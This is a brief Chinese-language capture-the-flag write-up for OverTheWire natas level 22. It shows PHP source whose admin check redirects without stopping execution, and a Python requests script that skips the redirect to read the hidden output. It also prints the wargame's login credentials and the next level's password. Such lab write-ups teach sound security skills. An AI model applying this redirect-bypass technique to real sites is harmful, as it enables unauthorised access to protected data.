Overthewire-natas22
Overthewire level 22 to level 23
进去页面后发现是一片空白,并且源代码也写的很简单,让我们来仔细研究一下
<?
session_start();
if(array_key_exists("revelio", $_GET)) {
// only admins can reveal the password
if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) {
header("Location: /");
}
}
if(array_key_exists("revelio", $_GET)) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas23\n";
print "Password: <censored></pre>";
}
?>
我们需要在get参数中加个revelio
,但是如果参数中有revelio
就会被重定向到/
路径下。这并没有关系,这其中发起了两次请求,只是第一次请求被重定向导致无法直接在浏览器上看见第一次请求的结果。我们可以用代码看看。
import requests
auth = ('natas22', 'chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ')
resp = requests.get('http://natas22.natas.labs.overthewire.org?revelio',
auth=auth,
allow_redirects=False)
print(resp.text)
第23关密码为D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE